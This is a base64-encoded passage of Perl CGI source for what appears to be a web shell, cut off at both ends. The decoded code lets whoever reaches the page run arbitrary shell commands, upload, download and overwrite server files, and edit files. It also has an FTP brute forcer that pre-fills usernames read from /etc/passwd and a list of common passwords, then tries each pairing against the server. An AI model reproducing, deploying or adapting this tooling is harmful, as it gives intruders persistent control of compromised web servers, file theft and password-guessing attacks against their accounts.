b3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR